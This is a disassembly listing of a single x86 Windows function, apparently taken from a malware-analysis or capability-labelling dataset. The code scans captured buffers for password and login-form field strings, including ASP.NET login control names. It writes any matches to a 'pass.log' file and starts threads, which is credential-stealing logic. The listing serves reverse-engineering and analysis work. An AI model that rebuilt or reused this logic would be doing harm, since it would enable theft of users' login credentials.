Function at 0x10017a80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x10017d96
push esi
lea esi, [eax + 0x13]
push edi
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10017d94
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10017d72
test ebx, ebx
je 0x10017d72
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10017d72
push ebx
push esi
push edi
call sub.MSVCRT.dll_memcpy
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x10047d24
push edi
call esi
add esp, 0x14
test eax, eax
je 0x10017bb2
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10017bb2
xor eax, eax
nop
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10017b20
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005a7a0
call esi
push 0x1005a7a0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005a7a0
call esi
push 0x1005a7a0
call fcn.10003090
lea esi, [ebp - 0x104]
call fcn.100069d0
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017b70
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.100064d0
push 0
push 0
push 0
push 0x1001fdc0
jmp 0x10017d3f
push str.name_
push edi
call esi
add esp, 8
test eax, eax
je 0x10017c8a
push str.pass_
push edi
call esi
add esp, 8
test eax, eax
je 0x10017c8a
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10017be0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005abb0
call esi
push 0x1005abb0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005abb0
call esi
push 0x1005abb0
call fcn.10003090
lea esi, [ebp - 0x104]
call fcn.100069d0
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017c30
mov edx, dword [str.pass.log]
mov ecx, dword [0x10047c64]
mov dword [eax], edx
mov dl, byte [0x10047c68]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.100064d0
push 0
push 0
push 0
push 0x10020be0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017d72
lea ecx, [ebp + 8]
push ecx
jmp 0x10017d53
push str.ctl00_24MainMenu_24Login1_24UserName
push edi
call esi
add esp, 8
test eax, eax
je 0x10017d72
push str.ctl00_24MainMenu_24Login1_24Password
push edi
call esi
add esp, 8
test eax, eax
je 0x10017d72
xor eax, eax
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10017cb2
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005adb8
call esi
push 0x1005adb8
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005adb8
call esi
push 0x1005adb8
call fcn.10003090
lea esi, [ebp - 0x104]
call fcn.100069d0
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017d02
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.100064d0
push 0
push 0
push 0
push 0x10022320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017d72
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10017d72
test byte [ebp + 8], 2
jne 0x10017d72
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10017d94
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8